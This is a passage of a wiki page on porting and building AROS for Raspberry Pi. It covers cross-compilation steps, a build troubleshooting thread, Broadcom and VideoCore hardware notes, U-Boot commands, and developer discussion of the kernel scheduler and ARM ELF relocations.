[https://github.com/jonx/Macaros/issues MACAros github] for issues, features etc and possibly [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2030&pid=13910#post_13910 here] [http://www.aros.org/snapshots1.html old linux and android hosted 32bit] ===Good sites to visit=== *[https://github.com/raspberrypi/firmware/tree/master/ Raspberry Pi Firmware build] *[https://www.raspberrypi.com/documentation/computers/software-sources.html Documentation] *[https://rpilocator.com/ RPiLocator] Linux only *[https://github.com/raspberrypi/linux Raspberry Pi Linux Build] *[https://www.raspberrypi.com/software/operating-systems/ PiOS Lite] and then [https://hstwb.firstrealize.com/ HST] *[https://dietpi.com/ DietPi] *[http://www.tinycorelinux.net/ports.html piCore] *[https://wiki.alpinelinux.org/wiki/Raspberry_Pi Alpine Linux] *[https://github.com/armbian/build Armbian] *[ PiMiga] *[ FydeOS] *[ TwisterOS based on ChromiumOS] *[https://note.com/jamesmondo/n/nc76e31402be8?hl=en BSD] Other alternative lighter smaller than Pi OS *[https://aros.sourceforge.io/nightly1.html Aros 64bit ARMV8 single core] *[https://www.riscosopen.org/wiki/documentation/show/Welcome%20to%20RISC%20OS%20Pi RiscOS on Pi3 and Pi4] *[https://github.com/michalsc/Emu68 ARM based realtime JIT 68k for amiga computers] *[https://github.com/JJDSNT/bellatrix/releases/ Alternative use of Emu68 on Pi3b] *[https://github.com/stevereaver/uaos uaOS with Emu68k] *[https://github.com/aros-development-team/AROS/commit/f80a268607dfae81b2db94755ab4e4d31ccb72d6 m68kemu library reference] *[ HaikuOS] *[https://github.com/raspberrypi/noobs NOOBS] os loader with successor [https://github.com/procount/pinn PINN] *[https://github.com/maxnet/berryboot berryboot] *[https://github.com/brianwiddas/pi-baremetal Bare Metal Access on Pi 32bit] ==== Hosted ==== =====64bit===== [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80&pid=13667#post_13667 Ubuntu Linux PC hosted Pi compiler build] [https://github.com/BlitterStudio/aros-compiler-docker Docker based cross compiler for various Aros systems], =====32bit===== Ubuntu VM approach to compiling [http://lallafa.de/blog/2013/06/building-aros-hosted-for-raspbian/ Linux hosted AROS June 04, 2013] ../AROS/configure --target=linux-armhf --enable-includes=/usr/arm-linux-gnueabihf/include --x-includes=/usr/arm-linux-gnueabihf/include --x-libraries=/usr/arm-linux-gnueabihf/lib arm-elf- is symbol-linked to arm-linux-gnueabi- (arm-linux-gnueabi- is more correct in this case, because it's going to be compiling the ARM AROSBootstrap for ARM Linux) *armel - many of the "android" machines require since the entire OS is made for soft float VFP. *armfp - Efika MX target, Raspberry PI, EfikaMX, Pandora and virtually everything (VFP) Keep in mind it's possible to start hardfp AROS hosted on softfp system, though, as long as no calls between AROS and host require floating point parameters. NOTE: hardfloat objects *cannot* be linked with softfloat objects - they have a different ABI. Just keep in mind the arm nightly build machine is quite complex beast. It needs the x86_64 host compiler to compile AROS tools. The arm version is built every night using gcc-4.6.2 crosscompiler (built together with AROS) and successfully builds armel and armhf linux hosted targets. *needs an AROS code compiler for ARM target *as well as unix compiler for ARM linux host (would be best to have both softfp and armhf, we have softfp only now) with full set of libraries and includes. with—disable-crosstools $AROS_CC is always a wrapper around $KERNEL_CC ? If so, this is wrong for some ports. This can break Darwin, Windows and Android port. Yes, Android port will build. And even work. But it's not good because the port will not be ABI-compatible with other ARM ports. Android's ABI is different from GNUEABI. For example: <pre> enum test {foo, bar}; enum test testvar; </pre> sizeof(testvar) will be equal to sizeof(int) in GNUEABI (Linux and AROS) and sizeof(short) on Android. This affects linking objects from static linklibs, for example. Previously everything worked because $AROS_CC was a wrapper on top of $HOST_CC. And a real crosscompiler was used on non-ELF hosts. Android is the same. $KERNEL_CC is incompatible with AROS. compiler=kernel is appropriate _ONLY FOR CODE WHICH RUNS ON HOST OS_ (or barebone hardware, if we talk about native). This includes bootstraps, their linklibs, and host-side dynamic libraries (Windows makes extensive use of them because of architectural considerations. No single AROS object should be compiled with this setting. $KERNEL_CC is really compatible with AROS *ONLY IN LINUX-HOSTED* and no more. On other systems (Darwin, Windows, Android) this is not true any more, and compiler=kernel is never going to work. If you want to compile your AROS module against host OS includes, append the following to USER_INCLUDES (or USER_CFLAGS, this is effectively the same): -isystem $(GENINCDIR) $(KERNEL_INCLUDES) $(KERNEL_INCLUDES) expands to: -isystem <your_os_includes> -isystem <host_OS_gcc_private_includes> -nostdinc This makes AROS compiler adhering to host OS APIs. If you want some preprocessor symbols based on what your host OS actually is, add something like -DHOST_OS_$(AROS_HOST_ARCH). Why is there $(GENINCDIR) at all? Because host OS has its own libc includes, which would conflict with AROS ones. And the host OS libc is not binary-compatible with AROS one. Why doesn't Windows-hosted port use $(KERNEL_INCLUDES) ? Because WinAPI includes conflict with AROS ones in fundamental typedefs, like WORD, BYTE and BOOL. It's almost impossible to deal with this in any other way than rewriting WinAPI definitions using AROS types. Building under centos 6.3 (i386) currently, and AROS creates the toolchain itself. haven't yet committed the necessary changes but "./configure --target=raspi-armhf" is enough to start, then "make arosboot-raspi" will generate arosraspi.img (containing the bootstrap, kernel.resource, and exec.library) as well as arosraspi.rom (containing all the other essentials components such as dos, graphics etc). It will also copy over a config.txt file to make the raspi bootstrap code load the correct kernel, and a cmdline.txt that enables exec debug output. *armel = typically Debian 6, Ubuntu Maverick, Android, *armhf = typically Debian 7, Debian 8, Ubuntu Precise, Cross-compiling Ubuntu ARM softfp <pre> sudo sh echo 'foreign-architecture armel' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armel] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armel.list apt-get update apt-get install gcc-arm-linux-gnueabi libx11-dev:armel libsdl-dev:armel </pre> <pre> ./configure --target=linux-arm --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabi/include </pre> Cross-compiling Ubuntu ARM hard-float <pre> sudo sh echo 'foreign-architecture armhf' >>/etc/dpkg/dpkg.cfg.d/multiarch echo 'deb [arch=armhf] http://ports.ubuntu.com/ precise main universe' >/etc/apt/sources.list.d/armhf.list apt-get update apt-get install gcc-arm-linux-gnueabihf libx11-dev:armhf libsdl-dev:armhf </pre> <pre> ./configure --target=linux-armhf --x-includes=/usr/include \ --enable-includes=/usr/arm-linux-gnueabihf/include </pre> Now, the AROS build is configured properly and all you need to do is: make ==Build== ===64bit=== ===32bit=== # download/checkout the source someplace, e.g. /build/AROS-Src/ # make a directory to store external sources AROS downloads, e.g. /build/Ports # make a build directory, e.g. /build/aros-raspi-armhf # cd into the build dir, configure, and then run make -: <pre> >cd /build/aros-raspi-armhf >/build/AROS-Src/configure --target=raspberrypi-armhf --with-serial-debug --enable-ccache --with-portssources=/build/Ports >make >make arosboot-raspi </pre> then copy the files from /build/aros-raspi-armhf/bin/raspi-armhf/AROS/ onto an sdcard, and download/copy the Raspi firmware files onto it. You should then be able to boot the sdcard on your RasPi. The current W.I.P tree to svn. it can be built as follows .. <pre> ./configure --target=raspi-armhf make arosboot-raspi </pre> That will generate arosraspi.img, arosraspi.rom and config.txt in bin/raspi-arm/AROS - so either copy just those files to a fat formatted SD card (with the firmware files on), or copy the whole contents of the AROS folder. NB - if you have a Linux/other install, backup the existing config.txt first arosraspi.img contains the bootstrap (which has very basic mailbox code, framebuffer/gpio init, and console "emulation" via code pinched from our libbootconsole), kernel.resource, and exec.library arosraspi.rom contains all the other components needed to boot AROS. The config.txt file will tell the RasPI bootstrap to load the arosraspi kernel and ramdisk (rom). the bootstrap has minimal mailbox code, planning on adding either a resource or library that driver/app code will use to access it (likewise for GPIO) Help building AROS hosted on Linux ARM Was looking a way to use more my Handheld ARM based called Pyra (Dragonbox Pyra) an ARM (Omap5 cpu with 4GB ram) linux based machine (Debian Buster v10 with kernel 5.6.19 adapted) and have a try to compile the latest Aros sources by Deadwood directly on this device. Compilation stops after build libpopupmenu.a and trying to build libatomic have this error: <pre> Configuring build in bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic configure: WARNING: unrecognized options: --disable-nls, --without-x checking for --enable-version-specific-runtime-libs... no checking for --enable-generated-files-in-srcdir... no checking build system type... arm-unknown-linux-gnu checking host system type... arm-unknown-aros checking target system type... arm-unknown-aros checking for a BSD-compatible install... /usr/bin/install -c checking whether build environment is sane... yes checking for arm-aros-strip... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-strip checking for a thread-safe mkdir -p... /usr/bin/mkdir -p checking for gawk... no checking for mawk... mawk checking whether make sets $(MAKE)... yes checking whether make supports nested variables... yes checking for arm-aros-gcc... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-gcc checking whether the C compiler works... no configure: error: in /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic': configure: error: C compiler cannot create executables See config.log' for more details make[2]: *** [mmakefile:4489: /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic/.configured] Error 77 [MMAKE] make --no-print-directory TOP=/media/farox/pyra2/arosbuilds/toolchain-core-armhf-build SRCDIR=/media/farox/pyra2/arosbuilds/AROS CURDIR=tools/crosstools/gnu TARGET=tools-crosstools-gcc-libatomic-configure -s --file=mmakefile tools-crosstools-gcc-libatomic-configure failed: 512 [MMAKE] Error: Error while running make in tools/crosstools/gnu: No such file or directory make[1]: *** [Makefile:361: linklibs-libatomic] Error 10 make: *** [Makefile:183: crosstools] Error 2 </pre> looking at config.log on arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic found that arosbuilds/toolchain-core-armhf/arm-aros-ld: cannot find -laeabi so do make linklibs-aeabi-arm-quick and the missing lib was built. now the next stop is at fatal error: bits/libc-header-start.h: No such file or directory and fatal error: sys/cdefs.h: No such file or directory in many places so after checking that have this missing include files i have noted that my include path is a bit different, standard searching path is /usr/arm-linux-gnueabihf but in my system is /usr/include/arm-linux-gnueabihf so if i add my path to some mmakefiles compilation goes on....but is a better way to add this path to avoid every mmakefiles to be changed? fixed with adding -I/usr/include/arm-linux-gnueabihf to where is missing on mmakefiles like USER_INCLUDES := -isystem $(GENINCDIR) -I/usr/include/arm-linux-gnueabihf $(KERNEL_INCLUDES) P.s. I have changed many mmakefiles and have at least compiled (after many hours) the toolchain doing make every time in arosbuilds/toolchain-core-armhf-build (also have to disable making tests under cplusplus but don't remember the directory ...) but ask an help to have an automated way to correctly build without modify mmakefiles. Last time built armhf target was around 2 years ago. At that point built is via cross-compilation from linux (ubuntu 22.04) using linux armhf crosscompiler (this can explain the path differences you are experiencing) as well as using AROS gcc cross-compiler in version 6.5.0 (build with option 21) in rebuild.sh). Since then AROS GCC has been updated to 10.5.0 and don't believe anyone tried to build the armhf target again. My suggestion would be to downgrade GCC to 6.5.0 (via editing AROS/config/gcc_def file) and try to first build using cross-compilation from x86_64 linux. Once that works, you will have a "template" to compare to native compilation under arm linux. Thanks for your suggestion...but think the toolchain with GCC 10.5.0 is compilable if i found a way to pass the path of my system to the script that build (option 21 on rebuild). The other only changes are (but don't know where to modify...) is to add the build of libaeabi and disable the building of some tests under cplusplus that use exceptions and is not supported under ARM. try to crosscompile with my Linux amd64 PC. For paths look into core-linux-armhf/bin/linux-armhf/gen/config/target.cfg. A number of build-wide variable is set there containing paths to local build system. These variables and the target.cfg file are generated by AROS ./configure script. Thanks compilation now go forward...changed target.cfg under "toolchain-core-armhf-build/bin/linux-arm/gen/config" and do make on "toolchain-core-armhf-build" dir. Need to find where to enable build libaeabi.a so can build the entire toolchain with option 21 of rebuild.sh Found something that looks like libeabi in AROS/arm-all/arm-aeabi/mmakefile.src. Try adding a third line there: #MM- linklibs-armhd : libklibs-aeabi-arm Don't remember needing this library. Possibly the 6.5.0 GCC somehow does this while 10.5.0 is missing this. Try adding this line (and the variant "linklibs-armhf" instead of hd) but it did not solve the automatic building of the missing lib. I must do "linklibs-aeabi-arm-quick". Anyway after have build the aeabi lib i succefully built the toolchain (after many hours...). Smile To test I restarted from selecting option 21 (on rebuild.sh) but after many hours i get the same error of the kernel includes not found...maybe i need to modify the configure script for my case. With the toolchain built i try to build the core-linux-armhf (DEBUG) (option 22) but after a while it stopped with "cannot find -laeabi " so i made it built manually...and now i can continue compiling...i'll let you know if all goes ok. == Hardware == ===64bit=== ====BCM2712==== With the Pi5 Broadcom VideoCore 7 vc7 is an integrated GPU with 12 cores and up to 800 MHz clock. VideoCore VII is capable of OpenGL ES 3.1 and Vulkan 1.2. The driver support for the Raspberry Pi continues to build upon the [https://lore.kernel.org/dri-devel/20230928114532.167854-1-itoral@igalia.com/ open-source V3D driver] stack within [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25450 Mesa] hopefully be merged for Mesa 23.3 *Raspberry Pi M.2 HAT+ Expansion Board *Geekworm X1001 PCIe to M.2 Key-M NVMe *Geekworm X1003 PCIe to M.2 HAT NVMe SSD PIP Board for Raspberry Pi 5 *Pineboards Pi Hut HatDrive! M.2 HAT 2024/V4 *Hat+ Gen2 Gen3 Nvme *GeeekPi 52Pi N04 for Raspberry Pi 5 NVME M.2 * *2024 RPI AI HAT - Hailo 20TOPs no LLMs *2026 RPI AI HAT+ 2 - Hailo 40TOPs slightly better? [https://www.raspberrypi.com/documentation/accessories/camera.html Cameras for Pi] *Raspberry Pi camera module, the V3 with Sony IMX708 back-illuminated CMOS 12 Megapixel sensor *Raspberry Pi Camera Module V2 – 8MP Sony IMX219 Sensor *Raspberry Pi camera Rev 1.3, 5MP 1080P OV5647 image/video module, 2592 x 1944 pixels ====BCM2711==== With the Pi4 an ARM a72 cpu is about x3 times the size of an a53 in the Pi3 the 2711b line used more power when idle, compared to the 2711c *2018 Raspberry Pi PoE HAT Power Over Ethernet Hat - design issues *2020 Raspberry Pi PoE+ HAT Power Over Ethernet Hat Pi3b+ Pi4 only - better design *Waveshare PoE HAT (B) with cooling fan for Raspberry Pi 3B+/4B 802.3af PoE *[https://github.com/axizo-pi/V3DLib vc6 V3D 4.2] is derived from [https://docs.broadcom.com/doc/12358545 vc4], but it is significantly different The QPU pipeline stays mostly the same, you still have an add ALU and a multiply ALU and it can issue two ALU OPs per cycle. There is still 4 SIMD lanes, interleaved over 4 cycles. The instruction encoding for the QPUs is different, but the core instructions are the same. Instructions for packed 8 bit int math has been dropped, along with most of the pack modes. Instructions for packed 16bit float math has been added (2 floats at in a single operation) With vc5/vc6, you write two packed 16f value to the tilebuffer (or four writes of 32f, if you are using the rgba32f framebuffer). And there is a handy vfpack operation which allows you to pack two f32s into a single 32bit value in a single instruction. You can vfpack directly into the tile buffer register. the multiply ALU can now fadd, so you can issue two fadds per instruction. the add ALU has gained a bunch of new instructions the A and B register files have been merged. You still only get an A read and a B read per instruction, but they read from one big register file (which means the underlying memory block has gone from two sets of "one read port, one write port" to one "two read ports, one write port" block) The theoretical max FLOPs per QPU remains the same at two per cycle, other than the bump from 400mhz to 500mhx but it looks like a lot of effort has been put putting those theoretical FLOPs to better use. *vc4 could run one or two threads per QPU. When you ran in two thread mode, the available register file halfed to 32 registers. *vc5 added a four thread per QPU mode, with 16 registers per thread. *vc6 doubled the size of the register file. You could now use all 64 threads in two thread mode and 32 registers in for thread mode. Single thread mode was removed, you always have at least two threads. With the threading improvements, the QPUs should spent much less time idle waiting NOPs for memory requests. Most of the design changes have gone to improving the fixed function hardware around the QPUs. A fixed function blend unit has been added, which should reduce load on the QPUs when doing alpha blending. hope software blending is still possible The tile buffer can now store upto 4 render targets (up to 128bits per pixel, so if you are using 4 32bit render targets, you can't have a depth buffer) A MMU, allowing a much simpler/faster kernel driver. Many more texture formats, framebuffer formats. All the features needed for opengl es 3.0 H.265 / HEVC decoder is a HEVCv2 Main 4:4:4 10 design supporting bitstreams up to profile 5.1 HEVC hardware decode supports 4kp60, 10-bit. Audio output is pretty much unchanged, but the HDMI audio channels now support 8x192kHz bitrates Each ALU typically have 2 floating point operators, and as you pointed out in a earlier post videocore 6 is no exception, with both a multiply and additive floating point operator. Thus theoretical GFLOPs are calculated with both operators in mind. That is what the 2 in my formula represents, and is common across any modern programmable shader, whether you calculate Nvidia, AMD, Intel, Boardcom or any other company's GPUs. Total ALUs * 2 * GHz clock = GFLOPs, In the case of Raspberry Pi 3, it's 24 ALUs * 2 operators * 0.4GHz = 19.2GFLOPs If the Videocore 6 does indeed only have 16 ALUs (16 * 2 * 0.5GHz), you'd have only 16GFLOPs but they are better utilised Possible maximum performance <pre> VideoCore IV @ 250MHz: 250 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 24 Gflop/s VideoCore IV @ 300MHz: 300 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 28.8 Gflop/s VideoCore VI @ 500MHz: 500 [MHz] x 2 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 32 Gflop/s </pre> Faster LPDDR4 memory. ====BCM2837==== With the Pi3 * Broadcom BCM43438 chip provides 2.4&nbsp;GHz 802.11n wireless LAN, Bluetooth Low Energy, and Bluetooth 4.1 Classic radio support, 3B+ [https://github.com/aros-development-team/AROS/commit/afa5bc0bb17d5dd06bcfdbac00853a3799ca8d76 LAN7515] The overclock ability has diminished with each chip version as the energy usage has increased. BCM2837 is one of the warmest yet and benefits from active fan cooling if all four cpu cores are in use for a short while. Video playback is not affected due to the custom support in the GPU. 5 V / 2.4 or 2.5 amp power supply recommended if all four cpu cores are running, else throttling (cpu slowdown) might occur. Dual VDP and scalable QPU in VC4 ARMv8-A has [https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels privilege levels] where userspace typically runs at ‘EL0’, the kernel at ‘EL1’ or ‘EL2’ and the firmware at the highest level ‘EL3’. ===32bit=== === Core Kernel === ====BCM2708(family)==== which includes the [http://elinux.org/RPi_Hardware BCM2835] (ARM1176JZF-S 700&nbsp;MHz CPU + VideoCore IV GPU + up to 1GB RAM) *Framebuffer (fb) using mailbox *IRQ scheduler, etc *Arasan based SD Card controller *Synopsis DesignWare USB 2.0 OTG controller [http://networkdirection.net/index.php?option=com_content&view=article&id=106:rasperry-pi-usb-controller&catid=45:raspberry-pi&Itemid=54 Unofficial DOCS pdf], [dwc_otg.c FreeBSD], [], [https://www.riscosopen.org/viewer/view/mixed/RiscOS/Sources/HWSupport/USB/Controllers/DWCDriver/ RiscOS USB Driver], [https://www.riscosopen.org/forum/forums/5/topics/878 RiscOS USB Discussion], [https://www.riscosopen.org/forum/forums/11/topics/1893 Other USB RiscOS], [http://plan9.bell-labs.com/plan9/index.html Plan9 Miller's usb] http://plan9.bell-labs.com/sources/contrib/miller/, [https://github.com/Chadderz121/csud CSUD driver], *[http://www.smsc.com/media/Downloads_Public/Data_Sheets/9512.pdf SMSC 9512] USB LAN/Hub chip *CMOS RAM *VCHIQ port which sends messages to the GPU e.g. for mouse, keyboard, audio on HDMI, etc *Audio Driver *Serial Peripheral Interface Bus (SPI) *[http://www.susa.net/wordpress/2012/06/raspberry-pi-pcf8563-real-time-clock-rtc/ I2C registers] *I2S *Universal Asynchronous Receiver Transmitter (UART) *[http://elinux.org/RPi_BCM2835_GPIOs GPIOs] and [http://www.adafruit.com/blog/2012/08/17/broadcom-bcm2835-peripheral-memory-map-and-gpio-alternate-use-chart-piday-raspberrypi-raspberry_pi/ Alternative view of GPIO] BCM2836 * For Pi B+, PI 2 and Pi 3 SMSC LAN9514 chip adding 10/100 Ethernet connectivity and four USB channels to the board *[http://www.andrewscheller.co.uk/rpi_pcb_modules.html PCB], [http://elinux.org/RPi_Low-level_peripherals Low level features], Implemented so far... # Modify the configure system so that it correctly builds for the arm hardware float raspi target. # Implemented the bootstrap to load the aros modules and prepare the arm to jump into them. Reworked the x86 console support so that parts can be stolen for raspi to use since t has no basic functionality to output to the display. # Implemented a kernel.resource to prepare the raspi for running aros and provide the low level api calls to expose available resources and allow exec, etc function. # Implemented serial debug support # Implemented the exec (and kernel) functionality required to make multitasking work (and interrupts, exceptions, syscalls, etc) # Implemented a timer.device to utilise the hardware timers. # Implemented a very basic gfx driver to expose the hardware's framebuffer. # Implemented an SD-Card driver for AROS which presently only supports the raspi's chipset but can easily be modified to support all sd-card hardware and media. # Fixed the fat filesystem support in AROS so that it can boot on RasPi's normal SD-Card setup. The "rom" image files needed use a different filename than the default linux, etc images so can be easily installed without harming the existing files - you only need to change the loaded images in the config file to get aros to boot. # Updated the build scripts to automatically download the necessary raspi firmware files and wrap it all up so that you can simply extract the archive to a fat formatted sdcard and boot it on the raspi without having to get anything else. # fix everything in contrib and ports to build for raspi (needs proper testing/fixes but allows every component to actually compile at least, including owb) + numerous other fixes to get things working on arm/raspi .. Improvements... # Implement a USB chipset driver "OR" finish the existing one [https://github.com/aros-development-team/AROS/commit/c07d13c724f944674be5db54fc6a71ee72a01809 usb otg] - the current code is mostly a skeleton that should initialise the chipset and then needs relevant code to support the different transfer types. It also has the "virtual" hub code in place to represent the raspi's USB port (from poseidons p.o.v) # Implement a driver for the USB NIC (a few weeks - depends on USB above) # Write an [https://github.com/aros-development-team/AROS/commit/d55d0f74d20b769bbb8c8d386e5c1d7a9154f05a audio driver] (a few weeks - independent of USB) and [https://github.com/aros-development-team/AROS/commit/e93a4c245f27a87c9c4c1d39206694b39059998a HDMI] # fix syscall bug in the current raspi kernel code # Graphics depend on having a decent "bcmdma.resource" implemented as to use the cpu's dma engine. The sd card driver needs to use it for transfers to/from the controller - and the gfx system needs to use it for "blitting". # [https://github.com/aros-development-team/AROS/commit/4019d84e4975d4dad987a12d57fe108f5ac048e6 Improve the gfx driver], [ vc4gfx HIDD] add [http://dri.freedesktop.org/wiki/VC4/ Gallium3D support] # [https://github.com/aros-development-team/AROS/commit/b13905b3e8e45b089f520b44692c81affddd066f Improve] the [https://github.com/aros-development-team/AROS/commit/3a876755c070f5c73c4f53c7f4d35b4f923088b9 sdcard] device driver - which is also pretty basic but should work with most cards, rework it to also support pci, etc. sd card interfaces on x86 # The current code using very rudimentary access to the gpio interface - so that should be implemented as some resource for other components to access, as-well as the i2c interface exposed over the gpio interface. that should have a hidd class implemented which uses the gpio resource to communicate. Boot up typical for most other OSs before the open sourcing of many binary blobs from 2017 onwards On power-up, the rpi [http://www.open.com.au/mikem/bcm2835/ BCM 2835] [https://github.com/hermanhermitage/videocoreiv VideoCore4] GPU, not the ARM CPU, is in control, and the SD card slot is the only peripheral device with power. The firmware burned into the BCM2835's VideoCoreIV GPU PROM requires a DOS-style partition table; a FAT-formatted first partition; and the freely redistributable but closed sourced Broadcom files “bootcode.bin” and “start.elf” in that partition. The boot sequence carries out several pre-boot tasks *On powering of the rpi, the GPU reads and executes bootcode.bin, which then loads start.elf *The GPU loads the “start.elf” file, eventually, into the L2 cache and then executes it *configures the memory split for the CPU and GPU *reads and parses “config.txt” from the same partition on the SD card and applies the settings (like a PC’s BIOS settings) *loads the “kernel.img” file, again from the same partition *activates the CPU to begin executing the loaded kernel image The CPU/GPU memory split is hard-coded into start.elf, so Broadcom provides three start.elf images, to give 32M, 64M, or 128M to the GPU for multimedia performance, and the remainder to the CPU. RPi uses [https://github.com/raspberrypi/firmware some closed source loaders] and at some point it loads a binary blob named "kernel.img" at 0x8000, at that point there would be a rudimentary Aros alive. If one wants to use the SD-card then there would have to be a driver for the interface and a fat filesystem handler (SD-card has to be formatted to fat filesystem) Boot code and kernel are now linked together and made into that binary blob, just for starters. Raspberry Pi uses [http://kernelnomicon.org/?p=133 u-boot] and [http://kernelnomicon.org/?p=138 UBoot] as bootloader, there's already some code in the Efika MX port for that. UBoot is a native bootloader and not just for the raspberry pi, it loads after start.elf. You can find Efika MX port from arch implementations, some hacking is needed for the mmakefile.src'es as iit dates back to before the Aros crosstool era or else you get some weird errors while building. You also need to code the bootstrap and serial handling. At the moment it seems that a fastest route for the native build would be to make one binary blob without using the package system. Raspberry's memory layout is pretty simple and if the implemented u-boot doesn't support loading other modules <pre> ? - alias for 'help' mtest - simple RAM test autoscr - run script from memory base - print or set address offset bbm - BBM sub-system bdinfo - print Board Info structure boot - boot default, i.e., run 'bootcmd' bootd - boot default, i.e., run 'bootcmd' bootm - boot application image from memory bootp - boot image via network using BootP/TFTP protocol cmp - memory compare coninfo - print console devices and information cp - memory copy crc32 - checksum calculation echo - echo args to console fatinfo - print information about filesystem fatload - load binary file from a dos filesystem fatls - list files in a directory (default /) go - start application at address 'addr' help - print online help iminfo - print header information for application image itest - return true/false on integer compare jade - loadb - load binary file over serial line (kermit mode) loads - load S-Record file over serial line loady - load binary file over serial line (ymodem mode) loop - infinite loop on address range md - memory display mm - memory modify (auto-incrementing) mtest - simple RAM test mw - memory write (fill) nfs - boot image via network using NFS protocol nm - memory modify (constant address) pci - list and access PCI Configuration Space ping - send ICMP ECHO_REQUEST to network host printenv - print environment variables rarpboot - boot image via network using RARP/TFTP protocol reset - Perform RESET of the CPU run - run commands in an environment variable saveenv - save environment variables to persistent storage saves - save S-Record file over serial line setenv - set environment variables sleep - delay execution for some time tftpboot - boot image via network using TFTP protocol USB - USB sub-system usbboot - boot from USB device version - print monitor version </pre> And there is one more thing about modular ports. In order to actually implement this, your bootstrapping environment should provide the ability to load several files. On PC this is provided by GRUB2. on CHRP you can read filesystem via OpenFirmware, and Sam's Parthenope relies on modified u-boot. If your bootstrap allows to load only a single file, then you stuck with monolithic kickstart. By the way... u-boot allows not only to boot up a single uImage or zImage, it also allows to write client programs AFAIK. With this approach, you actually can write modular bootstrap for ARM AROS using unmodified u-boot. Most used [http://www.compulab.co.il/workspace/mediawiki/index.php5/U-Boot_quick_reference uboot options] are fatls usb 0:1, the reason behind INTB_KERNEL is to allow use of the standard Exec function AddIntServer() to add interrupt handlers for hardware drivers etc. AmigaOS never used it for abstract hardware drivers. AmigaOS routed only raw hardware IRQs there. Their assignment was hardcoded. As well as number of them. Actually on AmigaOS every bus has its own interrupt subsystem. For example PCI bus. PCI interrupts on Amiga are routed to a single exec interrupt. 1:1 relationship between CPU and hardware interrupts is present only on PC. IMHO we miss things like AddInterrupt/RemInterrupt methods on our PCI subsystem's device class. PCI bus class should map these methods to whatever is appropriate. This is how it is done on AmigaOS and friends. When these are implemented, raw kernel.resource API will be needed only for several PC-specific drivers with hardwired resources. Exec IRQs are real IRQs only on Amiga hardware. On other machines they can be emulated where appropriate (VBlank is a good example). kernel.resource is meant to be different, its IRQs are hardware-agnostic, they are plain "Hardware IRQ number X, whatever this means". They are low-level actually, and meaningful only in the context of a particular system. Was that not the transition from irq.hidd to kernel.resource? No. A long time ago there was another hacky bit named INTB_TIMERTICK. It was "abstract timer interrupt", used by timer.device. It was the same as VBlank, but with larger frequency. I removed it, because kernel.resource API was a cleaner way to access this interrupt. Furthermore, there can be more than one timer in the system. Thinking about bringing back timer HIDD definitions again. hpet.resource is a bad idea. Can someone please enlighten me a little on how the scheduler is meant to work? Poseidon.library creates its "Poseidon Event Task" during RTF_COLDSTART -> then calls Wait(), and ends up in limbo because wait disables interrupts (used for the scheduler heartbeat), and basically waits forever because the sigbit is never set, since krnSwitch doesn't switch the task unless TF_SWITCH is set, and no codepath run during this seems to set it?? TF_SWITCH does not disable/enable switching. This flag just enables to run user-supplied hook when the task is being switched away. It is completely safe to call Wait() in Disable()d state. Doing this actually temporarily breaks this state. IDNestCnt gets remembered in struct Task, then next task is selected, and its IDNestCnt is restored in sysbase (see kernel_scheduler.c). If there are no other tasks, then your cpu_Dispatch() should enable interrupts on the CPU and enter idle mode. See x86 implementation for good example. You miss what happens next... 1. KrnSwitch() saves context of your task, saves IDNestCnt (core_Switch() and cpu_Switch()), then drops into cpu_Dispatch(). 2. cpu_Dispatch() calls core_Dispatch. Then two cases are possible: 2a. There is a READY task. It is picked up, its IDNestCnt is restored in SysBase, then cpu_Dispatch() needs to restore registers and exit. The next task is run. 2b. There are no READY tasks. core_Dispatch() returns NULL. In this case your cpu_Dispatch() should enter idle loop. It should just enable interrupts on the CPU and put it on halt. This allows it to process hardware interrupts. Eventually some of your interrupt handlers wakes up your task and puts it into READY list. My heartbeat interrupt has been slowed atm to help debugging - but it never actually gets a chance to fire because of the Wait() disabling interrupts. Perhaps you have forgotten to enable interrupts in your idle loop. There is a change in the format of AROS executables. Until now we were using Elf RELocable files which are usually used as intermediate object files. We had them for various reasons, one of them was how AROS files were built in the past. That days we had no real aros cross compiler and the option to embed relocation data in unix executables (or in executable files in general) was rather new and not every linux/unix system had it. Therefore we have decided to use intermediate files. Although it was somehow working (and it is still working :-)), it has some drawbacks. Therefore decided to introduce real Elf EXEC types, in first turn implemented on ARM target with option to expand in future to all other AROS architectures. The first patch was pretty easy and appeared to work somehow. It generated nice executables with embedded relocation info. Not only that, it also removed all global symbols adjusting relocation data to be relative to the beginning of the sections. That move reduced number of symbols in each executable significantly (depending on the file between 20 and 80% of all symbols could be removed). The only symbols that stayed in the file are local ones - due to the nature of the patch wasn't able to remove them since we have not seen them in the symbol hash table. The patch didn't worked though. The files were relocated, AROS kernel loaded, but it crashed very early. What happened? Well, the nature of ARM relocations happened :) Most of the relocation data on all machines is rather simple. Relocation can be absolute or pc-relative, sometimes the offset has to be bit shifted. On ARM v7 there is another one. There, when one wants to load an address of function/variable into register a combination of two instructions can be used: movw and movt. The first one loads immediate into lower 16 bits of a register while clearing upper 16 bits. The second one loads immediate into upper 16 bits without touching lower halfword. Loading of a pointer into a register looks like this: movw r0, #:lower16:label movt r0, #:upper16:label In this case there are two relocations - one for lower halfword and another for upper. If an overflow of lower 16 bits occurs during relocation process, the upper one should be updated as well. Unfortunately with current patch and with typical ARM executables there is not enough information to perform the calculations. There are two options - the first one would be to give up and go back to "fake" executables, another one would be to change from REL to RELA relocation info. The latter 